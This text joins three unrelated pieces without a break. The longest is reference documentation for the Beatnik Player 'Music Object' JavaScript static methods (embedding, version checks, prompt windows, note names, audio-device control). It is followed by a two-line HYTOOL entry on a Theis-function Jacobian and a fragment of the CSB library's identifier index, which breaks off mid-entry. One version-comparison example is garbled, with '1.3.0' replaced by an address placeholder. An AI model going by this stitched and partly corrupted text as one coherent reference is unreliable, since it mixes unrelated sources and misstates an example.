Music Object Static Methods
|
|
| Static Method Name |
Short Description |
| Embedding |
| Music.magicEmbed |
Embeds a non-scriptable Beatnik Player instance on a page. |
| Compatibility |
| Music.hasMinVersion |
Checks to see if the currently installed Beatnik Player version is equal to or higher than the version that you specify. |
| Music.installPlayer |
Launches the Beatnik Player Install Wizard in a separate window. |
| Music.isPlayerCompatible |
Performs a compatibility test for the user's installed Beatnik Player version. |
| Music.promptClose |
Closes a prompt that was opened using the Music.promptUser method. |
| Music.promptUser |
Opens a prompt window that offers the user up to two options from which to choose. |
| Music.requireMinPlayerVersion |
Lets you specify a minimum player version that is required by a module of sonification code. |
| Musical Notes |
| Music.getNoteName |
Returns a string value representing the symbolic note name of the MIDI note number that you specify. |
| Music.getNoteNumber |
Returns an integer value representing the MIDI note number of the symbolic note name that you specify. |
| General |
| Music.addCallbackHandler |
Lets you add a callback handler to the stack of callback handlers for a specified instance callback. |
| Music.engageAudio |
Allows you to engage or disengage the audio device that is used by the underlying audio engine. |
| Music.getAudioDevicePriority |
Returns an integer value, indicating the current audio device priority setting for the sonified document. |
| Music.getReverbType |
Returns an integer representing the audio engine's currently selected global reverb type. |
| Music.isAudioDeviceShared |
Returns a boolean value, indicating whether or not the Beatnik Player can share the system's audio device with other media players. |
| Music.isAudioEngaged |
Returns a boolean value, indicating whether or not the player's underlying audio engine is engaged. |
| Music.isAudioSupported |
Returns a boolean value, indicating whether or not the user's system provides audio services that are compatible with the player. |
| Music.kill |
Stops all player instances that are currently playing music on a page and disables all further sonification. |
| Music.onAudioEngagedChange |
Lets you register JavaScript code that is to be executed each time there is a change in the engaged state of the player's underlying audio engine. |
| Music.onEngageAudio |
Lets you register JavaScript code that is to be executed after each call to the Music.engageAudio static method. |
| Music.setAudioDevicePriority |
Lets you set the audio device priority for the sonified document. |
| Music.setGlobalMute |
Mutes or unmutes all sound that is playing through the audio engine. |
| Music.setReverbType |
Sets the audio engine's global reverb type that is used by the when playing back. |
| Music.stopAll |
Stops all player instances that are currently playing music on the page. |
|
|
The Music.magicEmbed method is identical to the magicEmbed method in every respect, excepting that the player instance that is embedded using this method is not associated with any Music Object instance.
This method is useful on pages where you are already sourcing in the "music-object.js" file for interactive sonification, but also wish to embed non-interactive background music, or multiple player instances with control panels that let the user control playback of the files. In cases where you do not expect to script interactive control of a player instance, it is better to use the Music.magicEmbed method, since there is naturally some memory and performance overhead involved in creating a Music Object instance and there is no sense in creating a Music Object instance if you do not intend to use the scriptable methods of the Music Object class.
If your Web site makes use of interactive sonification and there is some likelihood that some pages on the site will be loading in the "music-object.js" file, then it is also appropriate to source in the "music-object.js" file on pages where there will not be any interactive sonification, just so that you can make use of the Music.magicEmbed method to embed non-interactive music. The "music-object.js" file will either be cached in from the user encountering the other pages that employed interactive sonification, or the file will load in first on a non-interactive page and cache so that subsequent loading of the interactively sonified pages is faster.
So, if you will be using the "music-object.js" file for interactive sonification on your site, don't be afraid to source the file in on pages where you wish to have non-interactive music playing. And because the parameter syntax for both the magicEmbed method and the Music.magicEmbed method is exactly the same, it is easy to upgrade your coding when you decide to use scripting to control a file that was initially embedded as a non-scriptable player instance.
The following example shows how a page using the Music.magicEmbed method can be upgraded to use the magicEmbed method. In the second block of source code, the significant changes that have been made to make the player instance scriptable are highlighted in red.
<TITLE>Non-scriptable Player Instance</TITLE>

|
<TITLE>Non-scriptable Player Instance</TITLE>

|
The Music.hasMinVersion method returns a boolean value, indicating whether or not the Beatnik Player version currently installed in the user's browser meets the minimum version you specify.
| |
boolean |
If the currently installed version is equal to or exceeds the version specified in the MinimumVersionSTR parameter, then this method will return a value of true. But, if the installed version is less than that specified in the MinimumVersionSTR parameter, then a value of false is returned.
The following table indicates the results returned by this method under several different circumstances...
Installed Version |
Static Method Call |
Result |
| 1.1.7 |
Music.hasMinVersion ('1.0') |
true |
| 1.0 |
Music.hasMinVersion ('1.1.7') |
false |
| 1.1.7 |
Music.hasMinVersion ('1.1.7') |
true |
| 1.3 |
Music.hasMinVersion ('1.3.1') |
false |
| 1.3 |
Music.hasMinVersion ('1.3.0') |
true |
| 1.3.1 |
Music.hasMinVersion ('1.3') |
true |
| 1.3.1 |
Music.hasMinVersion ('2') |
false |
| 1.3.1 |
Music.hasMinVersion ('1') |
true |
|
|
When the minimum version string that you specify has fewer subversion places than the version string of the currently installed Beatnik Player, then all "missing" subversion places are assumed to be zero. For example, if the currently installed player version is "1.1.7" and you specify a minimum version of "1", then the minimum version will be regarded as "1.0.0" for the purpose of the comparison. Similarly, if the minimum version you specify contains more subversion places than the version string of the currently installed Beatnik Player, then the version string for the installed player will be "padded" for the sake of the comparison. For example, if the currently installed player's version string is "1.3" and the minimum version you specify is "1.3.1", then the player's version string will be padded to become "1.3.0".
So an important rule to remember with version comparison using the Music.hasMinVersion method is that a version string such as "1.3" does not encompass all "1.3.x" versions, but is seen strictly as representing version "<IP_ADDRESS>" when comparisons are made.
This method returns a false value when the user's platform and/or operating system is not supported by the Beatnik Player. Because of this, you should not indiscriminately use a false return value as an indication that "Get Beatnik" graphics or text should be written into an HTML page using document.writeln statements. Instead, you should also check the Music.clientSupported property's value in any condition that may result in Beatnik substitution code being written into an HTML page.
For example,
if (Music.clientSupported && !Music.hasMinVersion ('1.3.2')) {
document.writeln (
'Please upgrade Beatnik'
);
}
|
For more information on using this method in conjunction with the other compatibility methods and properties, see the section Music Object Compatibility Aids.
The Music.installPlayer method lets you launch the Beatnik Player Install Wizard in a separate small window that the user can optionally dismiss without it interrupting their Web browsing.
The Beatnik Player Install Wizard should only be invoked as a result of a failed compatibility test using the Music.isPlayerCompatible method. If you call this method without performing an appropriate compatibility test and the user actually has the latest version of the Beatnik Player installed, then the Beatnik Player Install Wizard that opens in a separate window will show a message to this effect.
For more information on using this method in conjunction with the other compatibility methods and properties, see the section Music Object Compatibility Aids.
The Music.isPlayerCompatible method lets you force Music Object to perform the compatibility test even before any attempts are made in the authoring to embed Beatnik Player instances into the page.
| |
boolean |
This method returns a boolean value, where a value of true indicates that the user's installed Beatnik Player is compatible with the author's requirements, and a value of false indicates that the user's installed player fails to meet the author's requirements. Regardless of the author's specified version requirement, if a user does not have any version of the Beatnik Player installed, then this method always returns a false value.
This method also returns a false value when the user's platform and/or operating system is not supported by the Beatnik Player. Because of this, you should not indiscriminately use a false return value as an indication that "Get Beatnik" graphics or text should be written into an HTML page using document.writeln statements. Instead, you should also check the Music.clientSupported property's value in any condition that may result in Beatnik substitution code being written into an HTML page.
For example,
if (Music.clientSupported && !Music.isPlayerCompatible ()) {
document.writeln ('Get Beatnik');
}
|
Values specified for the SilentIfInadequateBOOL and ShowCompatibilityPromptBOOL parameters will not only be used when the compatibility test is performed, but will also set the values of the Music.silentIfInadequate and Music.showCompatibilityPrompt properties, respectively. The value specified for the MinimumVersionSTR parameter may also set the value of the Music.requiredMinVersion property, if the version specified by the MinimumVersionSTR parameter is higher than the current Music.requiredMinVersion value.
For more information on using this method in conjunction with the other compatibility methods and properties, see the section Music Object Compatibility Aids.
- When a value of null is specified for the MinimumVersionSTR parameter, then the value of the Music.requiredMinVersion property will be used in the compatibility test.
- When a value of null is specified for the SilentIfInadequateBOOL parameter, then the value of the Music.silentIfInadequate property will be used for the compatibility test.
- When a value of null is specified for the ShowCompatibilityPromptBOOL parameter, then the value of the Music.showCompatibilityPrompt property will be used to determine if a prompt should be shown as a result of a failed compatibility test.
The Music.promptClose method lets you close a prompt window that was opened by the Music.promptUser method.
If there is currently no prompt window open, then this method will do nothing and will not produce any error messages.
The Music.promptUser static method lets you open up a non-modal dialog window to prompt the user to make a decision.
The Music.promptUser method is also used within Music Object to show the compatibility prompt as well to alert the user to other problems, like Java not being enabled in Netscape Navigator. Using this method in place of the JavaScript alert or confirm function provides several benefits...
- more aesthetically pleasing layout with border, heading, and message areas
- customizable button text for OK and CANCEL actions
- both the OK and CANCEL buttons are optional
- easy to specify code to handle OK and CANCEL actions
- enter and escape keys automatically mapped to OK and CANCEL actions
- non-modal, so other code can continue being processed
The promptUser method may be valuable in performing your own compatibility tests. If the user's configuration fails to meet your requirements, then you can use this method to alert the user. Using the method is quite easy - we will use a simple example to illustrate...
Let's say that we have created a page where both the Flash Player and Beatnik Player are to be used together to form a cohesive sonified visual experience. Since we will be relying on Flash to provide the visual element of this experience, there is hardly much sense in letting the user get only half the experience if, for some reason, Flash is not installed in their browser while the Beatnik Player is. In such cases, one will want to hold off on loading in all the music and audio media until the user has the Flash Player installed. And, in order to initiate the Flash download, the user will have to be prompted first. This is where the promptUser method comes in.
Now, traditionally, one might use the JavaScript confirm function to prompt the user for a decision. An example of this type of code is shown below. In the code sample, we are assuming that we have already determined whether or not the Flash Player is installed and have assigned the result of this check to the boolean variable "hasFlash", so the code that assigns "hasFlash" its value is not shown.
if (!hasFlash) {
if (
confirm (
'Flash Not Installed!!\n' +
'=====================\n\n' +
'This page uses the Beatnik and' +
' Macromedia Flash players together\n' +
' to create awesome interactive content.\n\n' +
'If you choose not to install Flash,' +
' you won\'t be getting the full experience.\n\n' +
'INSTALL NOW ?'
)
) {
top.location.href = 'http://www.macromedia.com';
}
} else {
// code to initialize page
}
|
Let's examine the logic behind the above code. In the conditional statement, we are checking to see if Flash is not installed and, if this is the case, the confirm function is used to prompt the user to approve installation. If the user approves by clicking the OK button, then the statement executed by the if condition will cause the browser to redirect to Macromedia's Web site, where the user can locate and install the Flash Player. On the other hand, if the user refuses the installation by clicking on the CANCEL button, then no action is performed. Notice how the page initialization code is only performed if the user has Flash installed.
The type of output that one gets from the confirm function is not all that pretty. In fact, at the sight of these gray dialog boxes, Web surfers are inclined to panic and think that their browser may be about to crash. Also, because the confirm function always imposes an OK and CANCEL button, it forces one to state the message in the dialog box in such a way that the last sentence is always a question that can have a simple yes/no type of answer.
So, how would we translate our code so that we could instead use Music Object's promptUser static method? Well, as explained before, the prompt window that opens does not interrupt program flow in the way that a native JavaScript alert or prompt statement does. This is because the window that is opened up is a standard browser window containing HTML and is distinct from the window that opened it - it has its own program flow. So, in order to achieve a similar kind of effect to a JavaScript alert or prompt statement, we need to organize the code in a special way. Take a look at the following example source code...
function downloadFlash () {
Music.promptClose ();
top.location.href = 'http://www.macromedia.com';
}
if (!hasFlash) {
Music.promptUser (
'Flash Not Installed!!',
'This page uses the Beatnik and' +
' Macromedia Flash players' +
' together to create awesome interactive content.
If you choose not' +
' to install Flash, you won\'t be getting the full experience.'
,
'DOWNLOAD FLASH...',
'downloadFlash ()',
'IGNORE',
''
);
} else {
// code to initialize page
}
|
We've now created a specific downloadFlash function to handle the OK action for the prompt window that will be opened up. This is necessary, because program flow is not halted by the promptUser method. We can't just wait at the spot where the promptUser method is called until the user has decided. By the very nature of the promptUser method, program flow just keeps moving forward, regardless of how long the user takes to respond.
So, the separate downloadFlash function is ready to be called at any moment if the user approves the installation of Flash. Notice how a call to the downloadFlash function is, indeed, one of the parameters in the promptUser method call. The first thing that downloadFlash function does when it is called is to close the prompt window using the Music.promptClose static method. Then, the user's browser is redirected to Macromedia's Web site, to locate and install the Flash Player.
In the prompt window below, notice how the value "Flash Not Installed!!" that we specified for the HeadingSTR parameter is also used as the title for the prompt window.
- If you specify an empty string for the MessageSTR parameter, then no message will be displayed in the prompt window.
- If the value null (or an empty string) is specified for the HeadingSTR parameter, then no heading bar will be displayed for the prompt.
- If the value null (or an empty string) is specified for the OkTextSTR parameter, then no OK button will appear in the prompt window. For users of Netscape Navigator 4.x and higher, hitting the "Enter" key on the keyboard will still dismiss the prompt window.
- If the value null (or an empty string) is specified for the CancelButtonTextSTR parameter, then no cancel button will appear in the prompt window. For users of Netscape Navigator 4.x and higher, hitting the "Esc" key on the keyboard will still dismiss the prompt window.
- If you specify a non-null value for the OkTextSTR parameter, but specify the value null (or an empty string) for the OkJavaScriptSTR parameter, then an OK button will be displayed and its action will be to dismiss the prompt window.
- If you specify a non-null value for the CancelButtonTextSTR parameter, but specify the value null (or an empty string) for the CancelJavaScriptSTR parameter, then a cancel button will be displayed and its action will be to dismiss the prompt window.
- Music.promptUser ( HeadingSTR , MessageSTR , OkTextSTR , OkJavaScriptSTR , CancelTextSTR , CancelJavaScriptSTR )
When the ShowStatusBarBOOL parameter is omitted, no status bar will appear in the prompt window that is opened. This has the same effect as if the value false is specified for the ShowStatusBarBOOL parameter.
- Music.promptUser ( HeadingSTR , MessageSTR , OkTextSTR , OkJavaScriptSTR )
When the CancelButtonTextSTR, Cancel, and ShowStatusBarBOOL parameters are omitted, no cancel button will appear in the prompt window that is opened. The only option the user will have is to click on the "OK" button.
- Music.promptUser ( HeadingSTR , MessageSTR )
When the OkTextSTR, OkJavaScriptSTR, CancelButtonTextSTR, CancelJavaScriptSTR, and ShowStatusBarBOOL parameters are omitted, no buttons at all will appear in the prompt window that is opened. The only way the user will be able to close the window is using the close window icon in the window's title bar. The prompt window can also be closed in your scripting using the Music.promptClose method. This type of buttonless prompt can be used effectively to inform the user that a process is taking place and that they should wait for its completion. Scripting can then be used to either close the prompt window when the process is complete, or replace the prompt window with a new prompt window that informs the user that the process is complete and gives them an "OK" button to dismiss the window.
- It is not possible to open up multiple prompts at the same. Calling the Music.promptUser method while a prompt is already open will replace that prompt with the new one.
The Music.requireMinPlayerVersion static method lets you specify a minimum player version that is required by a module of sonification code.
| |
Music.requireMinPlayerVersion ( MinimumVersionSTR ) |
Starting from Music Object version 3.3, the Music.requiredMinVersion static property is a read-only property and should not be set explicitly - the Music.requireMinPlayerVersion static method should be used instead. The Music.requireMinPlayerVersion method allows separate code modules to independently request a minimum player version, such that the highest minimum player version that is requested by all code modules will be the version used to determine if the player installed on the user's system is adequate for the content as a whole. This allows separate code modules to co-exist and declare their player dependencies in a more cooperative manner.
By default, Music Object does not require any specific version of the Beatnik Player to be installed. It is up to an author to judge based upon the features that their content makes use of, as to which minimum version should be installed in order for the content to work effectively enough. Compromises can be made, depending on how the content is authored. For instance, if the features of newer player versions are only used to enhance the experience but the authoring is not critically dependent upon these features, then an earlier version can be specified using the Music.requireMinPlayerVersion method.
In order for an author's requirement to be used when the compatibility test takes place, this method should be called before any calls are made to the Music.isPlayerCompatible or Music.magicEmbed static methods, or the magicEmbed, preloadEmbed, or stubEmbed instance methods. The best way to ensure this is to call the method in the code immediately following the SCRIPT tag that sources in the "music-object.js" file.
For example:

|
For more information on using this method in conjunction with the other compatibility methods and properties, see the section Music Object Compatibility Aids.
The Music.getNoteName static method returns a string value, indicating the musical note name of the specified MIDI note number.
See also the Music.getNoteNumber static method.
- the name is always returned with the note capitalized.
- always returns sharps rather than flats for the "black keys" (eg. D# instead of Eb, F# instead of Gb, etc.).
The Music.getNoteNumber static method returns an integer value, indicating the MIDI note number of the specified musical note name.
The first character of the NoteNameSTR parameter must be one of the letters "A", "B", "C", "D", "E", "F", or "G". This can be followed by an optional accidental. The sharp accidental is indicated by the "#" character, and the flat accidental is indicated by a lowercase "b". Following that, and at the end of the string, should be the octave number. For example, "D#5" specifies D-sharp in the 5th octave. And "Fb3" specifies F-flat in the 3rd octave. Middle C is represented by "C4".
See also the Music.getNoteName static method.
The Music.addCallbackHandler static method lets you add a callback handler to the stack of callback handlers for a specified static callback.
- This method may be called at any time.
- See the section Important Concepts: Callbacks for more information on using callbacks.
- Compare to the addCallbackHandler instance method that is used to register callback handlers for instance callbacks.
The Music.engageAudio static method allows you, at any time, to engage or disengage the audio device that is used by the Beatnik Player's underlying audio engine.
By default, the Beatnik Player on the Windows platform will try to occupy the system's WAV device (which is used by applications that wish to use sound). This can cause problems in Web pages that combine multiple plug-in media types that are all trying to use sound. Because of performance reasons, the Beatnik Player does not currently use Microsoft's DirectSound technology, which would let Beatnik share the system's sound resources with other applications that were written to use DirectSound. DirectSound is also not universally installed on Windows systems, and is not universally used by other audio applications.
The Music.engageAudio method gives authors a way to "free up" the WAV device from Beatnik so that other plug-in media types can play sound. This approach does, however, require some carefully thought-out scripting. The method takes a boolean parameter indicating whether the audio is to be engaged or not. If you specify a value of false then the audio will be disengaged. And if you specify a value of true then the audio will be reengaged. This method is not applicable on the Mac platform where the built-in SoundManager provides the services necessary to allow multiple applications to be using the system's sound resources at the same time.
- Only applicable on the Windows platform
- This method may be called anytime after at least one Music Object instance has been embedded and is ready.
The Music.getAudioDevicePriority static method returns an integer value, indicating the current audio device priority setting for the sonified document.
Audio device priority for a sonified document can be set using the Music.setAudioDevicePriority static method.
- This method may be called at any time.
- See the section Audio Device Contention Manager to gain a clearer understanding of how this method relates to other methods that can be used to manage the engaged state behavior of the player's underlying audio engine.
The Music.getReverbType static method returns an integer value, indicating the current global reverb type that is set for the underlying Beatnik audio engine.
Reverb type can be set by a MIDI controller message within an RMF or MIDI file, but can also be set via scripting using the Music.setReverbType static method.
- This method may be called anytime after at least one Music Object instance has been embedded and is ready.
The Music.isAudioDeviceShared static method returns a boolean value, indicating whether or not the Beatnik Player can share the system's audio device with other media players.
| |
boolean |
A value of true indicates that the system's audio device can be shared, while a value of false indicates that the audio device cannot be shared. For a clearer understanding of how the Music.isAudioDeviceShared method relates to other methods that can be used to manage and monitor the engaged state behavior of the player's underlying audio engine, consult the section Audio Device Contention Manager.
The "Best Guess" Situation
Because this method relies upon the cooperation of player versions 2.1 and higher, the method will be unable to determine conclusively whether or not the system's audio device can be shared if the version of the installed player is earlier than 2.1, or there is no player installed. In such cases, the Music.isAudioDeviceShared method will return a "best guess" value based upon the user's operating system. The value false will be returned for Windows 95, Windows 98, and versions of Window NT earlier than 5.0, and the value true will be returned for all other operating systems.
An Example
In order for the Music.isAudioDeviceShared method to return reliable results, this method should only be called after at least one Music Object instance has been embedded and is ready. The following sample code template shows how to correctly use this method...

|
- This method may be called anytime after at least one Music Object instance has been embedded and is ready.
- If version 2.1 (or higher) of the Beatnik Player is installed and this method is called before at least one instance has been embedded and has become ready, then this method will return the value null.
The Music.isAudioEngaged static method returns a boolean value, indicating whether or not the player's underlying audio engine is engaged.
| |
boolean |
A value of true indicates that the audio engine is engaged, while a value of false indicates that the audio engine is disengaged. One common way to use this method is in a handler for the onAudioEngagedChange static callback. Because the onAudioEngagedChange callback is triggered when the audio engine becomes engaged as well as when it becomes disengaged, the Music.isAudioEngaged method can be used at the time that the callback is triggered to determine what the new engaged state of the audio engine is.
The Music.isAudioEngaged method is only supported for player versions 2.1 and higher, and the primary way that the audio engine would switch from being engaged to being disengaged (or vice versa) in these player versions would be as a result of the Audio Device Contention Manager that is built into these versions. For a clearer understanding of how the Music.isAudioEngaged method relates to other methods that can be used to manage and monitor the engaged state behavior of the player's underlying audio engine, consult the section Audio Device Contention Manager.
- This method may be called anytime after at least one Music Object instance has been embedded and is ready.
- If this method is called before at least one Music Object instance has been embedded and is ready, or a version of the player earlier than version 2.1 is installed, or there is no player installed at all, then this method will return the value null.
The Music.isAudioSupported method returns a boolean value, indicating whether or not the user's system provides audio services that are compatible with the player.
| |
boolean |
In most cases, if a system has sound hardware (such as a soundcard, or a sound chip that is integrated into the motherboard), then the Music.isAudioSupported method will return the value true. That said, however, there may be a very small number of systems where sound hardware is installed but the sound hardware's software drivers are incompatible with the Beatnik Player (or some aspect of the operating system's underlying audio services that are used by the Beatnik Player).
Denying Access to Content
Certain types of sonified content may rely so heavily upon the audio features of the Beatnik Player that it may not be worth letting users experience the content if their system has no audio support. In fact, allowing users to enter music remixing applications, for example, when their system doesn't even have audio support may just be a source of confusion for such users, as well as a source of technical support e-mails or phonecalls for you. The Music.isAudioSupported method can be used to deny a user access to such content if their system has no audio support.
Benefit of the Doubt
If the Music.isAudioSupported method is called before at least one Music Object instance has been embedded and is ready, or a version of the player earlier than version 2.1 is installed, or there is no player installed at all, then the method will return the value true. This is somewhat of a "benefit of the doubt" approach, where the user's system is assumed to have audio support unless it can be determined conclusively, using the player, that their system does not have audio support.
An Example
In order for the Music.isAudioSupported method to return reliable results, this method should only be called after at least one Music Object instance has been embedded and is ready. The following sample code listing shows one example of how this method can be used correctly to filter out users who attempt to experience sonified content when their system has no audio support.

|
In this example, it is assumed that an HTML page "sorry.html" will attempt to console users who do not have the Beatnik Player installed or who's systems do not have audio support. Any user who's system meets the requirements for the sonified content will be directed to the actual sonified HTML page "sonified.html". In cases where it is not possible to automatically detect if the user's system has audio support, the user is prompted to make that judgement for themselves and, based upon the response, the user will either be directed to the "sorry.html" page or the "sonified.html" page.
Notice how the Music.isAudioSupported method is only called if the function "checkAudioSupported" is called. This function is set up as a handler for the onReady callback of the Music Object instance "music", and this instance is only created if the user has the player installed and they are running a Windows system. The reason for this shortcut is that the MacOS and WebTV platforms have built-in audio hardware that is supported by Beatnik and, therefore, the problem of having no audio support is almost certain to occur only on some Windows systems. So, the call to the Music.isAudioSupported method is not really necessary on systems other than Windows systems.
- See also the section Authoring Issues: Systems with Incompatible Sound Hardware.
- This method may be called anytime after at least one Music Object instance has been embedded and is ready.
- If this method is called before at least one Music Object instance has been embedded and is ready, or a version of the player earlier than version 2.1 is installed, or there is no player installed at all, then this method will return the value true.
The Music.kill static method lets you stop all player instances that are currently playing music on a page and disable all further sonification, all in a single step.
| |
Music.kill ( ) |
In effect, the Music.kill static method stops all player instances on the page in much the same way as the Music.stopAll static method, and then disables all further sonification on the page by setting the Music.enabled static property to false.
This method may be called even before player instances have been embedded on the page. In this event, the sonification would be disabled and no instances would be embedded as a result of calls to the Music Object API's various embedding methods (magicEmbed, stubEmbed, preloadEmbed, and Music.magicEmbed), unless some code set the Music.enabled static property to true again before the embedding methods were called. Because the Music.kill method disables sonification by setting the Music.enabled static property to false, it would be possible to re-enable sonification after this method has been called, simply by executing the statement Music.enabled = true.
The Music.onAudioEngagedChange static method lets you register JavaScript code that is to be executed each time there is a change in the engaged state of the player's underlying audio engine.
The onAudioEngagedChange static callback is triggered each time there is a change in the audio engaged state of the player's underlying audio engine. At the time that the onAudioEngagedChange callback is triggered, the current engaged state of the audio engine can be determined using the Music.isAudioEngaged static method.
The onAudioEngagedChange callback is only supported for player versions 2.1 and higher, and the primary way that the audio engine would switch from being engaged to being disengaged (or vice versa) in these player versions would be as a result of the Audio Device Contention Manager that is built into these versions. For a clearer understanding of how the Music.onAudioEngagedChange method relates to other methods that can be used to manage and monitor the engaged state behavior of the player's underlying audio engine, consult the section Audio Device Contention Manager.
- This method may be called at any time.
- See the section Important Concepts: Callbacks for more information on using callbacks.
- See the section Audio Device Contention Manager to gain a clearer understanding of how this method relates to other methods that can be used to manage the engaged state behavior of the player's underlying audio engine.
The Music.onEngageAudio static method lets you register JavaScript code that is to be executed after each call to the Music.engageAudio static method.
The onEngageAudio static callback is triggered after each call to the Music.engageAudio static method. At the time that this callback is triggered, the value specified in the most recent call to the Music.engageAudio method is reflected in the Music.embedDefaults.AUDIOENGAGED static property (see the reference section for the Music.embedDefaults static property). Registering a handler for the onEngageAudio callback can be a convenient way to monitor the activity of the Auto Disengage extension.
- Music.onEngageAudio ( HandlerFunction )
- Music.onEngageAudio ( null )
When the value null is specified in place of a HandlerJavaScriptSTR or HandlerFunction parameter, then the currently registered handler for this callback is cleared.
- Music.onEngageAudio ( )
When no parameter is specified for the Music.onEngageAudio method, then the currently registered handler for this callback is cleared.
- This method may be called at any time.
- See the section Important Concepts: Callbacks for more information on using callbacks.
- The onEngageAudio callback is only triggered within a document for calls to the Music.engageAudio static method that occur within the same document.
The Music.setAudioDevicePriority static method lets you set the audio device priority for the sonified document.
The current audio device priority setting for a sonified document can be queried using the Music.getAudioDevicePriority static method.
- This method may be called anytime before all instances have been embedded, or after at least one Music Object instance has been embedded and is ready. If this method is called after all instances have been embedded but before any instances have become ready, then this method will have no effect.
- If a version of the player earlier than version 2.1 is installed, or there is no player installed at all, then this method will have no effect.
- Although this method is only supported for player versions 2.1 and higher, calling this method when a version of the player earlier than 2.1 is installed will not result in scripting errors.
- See the section Audio Device Contention Manager to gain a clearer understanding of how this method relates to other methods that can be used to manage the engaged state behavior of the player's underlying audio engine.
The Music.setGlobalMute static method lets you set the global mute state for the underlying Beatnik audio engine.
Using the Music.setGlobalMute method has the same effect as if the user were to click the global mute button that appears on the top portion of the player's control panel when it is in SYSTEM display. The global mute state affects all player instances that are embedded in all frames of all browser windows that may currently be open. This method takes a boolean parameter representing the mute state you would like to invoke. If you specify a value of true, then all players will become silent. And if you specify a value of false, then the global mute state will be disabled.
- This method may be called anytime after at least one Music Object instance has been embedded and is ready.
The Music.setReverbType static method lets you set the global reverb type for the underlying Beatnik audio engine.
See the ReverbType1to11 parameter for a list of the Beatnik Player's possible reverb types.
- This method may be called anytime after at least one Music Object instance has been embedded and is ready.
The Music.stopAll static method lets you stop all Music Object instances that are currently playing music on the page.
Only instances that exist in the same document that contains the "music-object.js" file will be stopped - other sonified frames or windows will not be affected by this method.


| HYTOOL Function Reference |
Jacobian matrix of the Theis function
j = ths_jac( p, t) j(1,:) = ds / dp(1) j(2,:) = ds / dp(2)
ths_lap Published output in the Help browser showdemo ths_jac
| Hytool |
© 1998-2017 Philppe Renard and Co. Terms of Use Acknowledgments


Home
Trees
Indices
Help
CSB v1.2.5.d7fd331
[
frames
] |
no frames
]
[
Identifiers
|
Bugs
|
Deprecations
]
Identifier Index
[
A
B
C
D
E
F
G
H
I
J
K
L
M
N
O
P
Q
R
S
T
U
V
W
X
Y
Z
_
]
P
P
(in
ChemElements
)
PDB_AMINOACIDS
(in
csb.bio.io.wwpdb
)
probabilistic_fit()
(in
csb.bio.utils
)
p
(in
GeneralizedInverseGaussian
)
PDB_NUCLEOTIDES
(in
csb.bio.io.wwpdb
)
probabilistic_or()
(in
csb.statistics
)
Pa
(in
ChemElements
)
PDBEnsembleFileBuilder
(in
csb.bio.io.wwpdb
)
probabilistic_xor()
(in
csb.statistics
)
package
(in
Version
)
PDBFileBuilder
(in
csb.bio.io.wwpdb
)
probability
(in
FragmentMatch
)
pad()
(in
csb.numeric
)
PDBHeaderParser
(in
csb.bio.io.wwpdb
)
probability
(in
HHpredHit
)
param
(in
AbstractPerturbation
)
PDBParseError
(in
csb.bio.io.wwpdb
)
Probability
(in
ScoreUnits
)
param
(in
AbstractPropagation
)
PDBProfileBuilder
(in
csb.apps.buildhmm
)
probability
(in
Transition
)
param
(in
HMCPropagation
)
PDBS
(in
HHfrag
)
probability_transform()
(in
csb.statistics.rand
)
param_info
(in
AbstractSwapCommunicator
)
pdbs25
(in
HHfrag
)
ProcessError
(in
csb.io
)
param_info
(in
RENSTrajInfo
)
PDBSequenceParser
(in
csb.bio.io.fasta
)
procheck
(in
csb.bio.io
)
param_infos
(in
AbstractExchangeMC
)
pdf
(in
csb.statistics
)
ProcheckParser
(in
csb.bio.io.procheck
)
Parameter
(in
csb.statistics.pdf.parameterized
)
PeakListFormatError
(in
csb.bio.io.noe
)
product
(in
PredictionBuilder
)
ParameterizationError
(in
csb.statistics.pdf.parameterized
)
peek()
(in
Stack
)
product
(in
ShortTrajectoryBuilder
)
parameterized
(in
csb.statistics.pdf
)
perturbation
(in
Step
)
product
(in
TrajectoryBuilder
)
ParameterizedDensity
(in
csb.statistics.pdf.parameterized
)
PerturbationResult
(in
csb.statistics.samplers.mc.neqsteppropagator
)
product_factory
(in
BaseSequenceParser
)
ParameterNotFoundError
(in
csb.statistics.pdf
)
perturbed_sys
(in
PerturbationResult
)
product_type
(in
BaseSequenceParser
)
parameters
(in
AbstractDensity
)
PH
(in
Predicate
)
product_type
(in
SequenceAlignmentReader
)
ParameterValueError
(in
csb.statistics.pdf
)
PHE
(in
ProteinAlphabet
)
product_type
(in
StructureAlignmentFactory
)
ParameterValueError
(in
csb.statistics.pdf.parameterized
)
PHE
(in
StdProteinAlphabet
)
ProfileBuilder
(in
csb.apps.buildhmm
)
params
(in
Clans
)
phi
(in
ResidueInfo
)
ProfileHMM
(in
csb.bio.hmm
)
params
(in
Expression
)
phi
(in
TorsionAngles
)
ProfileHMMRegion
(in
csb.bio.hmm
)
params
(in
Predicate
)
phi
(in
TorsionAnglesCollection
)
ProfileHMMSegment
(in
csb.bio.hmm
)
parent
(in
ClansEntry
)
pi
(in
csb.statistics.pdf
)
ProfileLength
(in
csb.bio.hmm
)
PARENT
(in
csb.build
)
PiHelix
(in
SecStructures
)
program
(in
AppRunner
)
parse()
(in
ArgHandler
)
PIR
(in
AlignmentFormats
)
program
(in
HHsearch
)
parse()
(in
DSSPParser
)
PIROutputBuilder
(in
csb.bio.io.fasta
)
PROGRAM
(in
Console
)
parse()
(in
StrideParser
)
pk
(in
RepositoryImp
)
program
(in
Console
)
parse()
(in
HHProfileParser
)
PK
(in
SQLiteRepository
)
promix
(in
csb.apps
)
parse()
(in
ProcheckParser
)
pk
(in
SQLiteRepository
)
ProMixApp
(in
csb.apps.promix
)
parse()
(in
PSIPredParser
)
pk
(in
Table
)
propagation
(in
Step
)
parse()
(in
VascoStructureParser
)
PlainMDPropagation
(in
csb.statistics.samplers.mc.neqsteppropagator
)
PropagationResult
(in
csb.statistics.samplers.mc
)
parse()
(in
WhatCheckParser
)
PlainMDPropagationParam
(in
csb.statistics.samplers.mc.neqsteppropagator
)
propagators
(in
csb.statistics.samplers.mc
)
parse()
(in
AbstractStructureParser
)
plot
(in
Chart
)
proposal_state
(in
SimpleProposalCommunicator
)
parse()
(in
DegenerateID
)
plot()
(in
LibrarySuperimposer
)
Protein
(in
SequenceTypes
)
parse()
(in
EntryID
)
plots
(in
csb.io
)
ProteinAlphabet
(in
csb.bio.sequence
)
parse()
(in
SeqResID
)
plots
(in
Chart
)
ProteinResidue
(in
csb.bio.structure
)
parse()
(in
StandardID
)
PlotsCollection
(in
csb.io.plots
)
protocol
(in
AbstractRENSSwapParameterInfo
)
parse()
(in
Label
)
Pm
(in
ChemElements
)
protocol
(in
InterpolationFactory
)
parse()
(in
A3MAlignment
)
Po
(in
ChemElements
)
protocol
(in
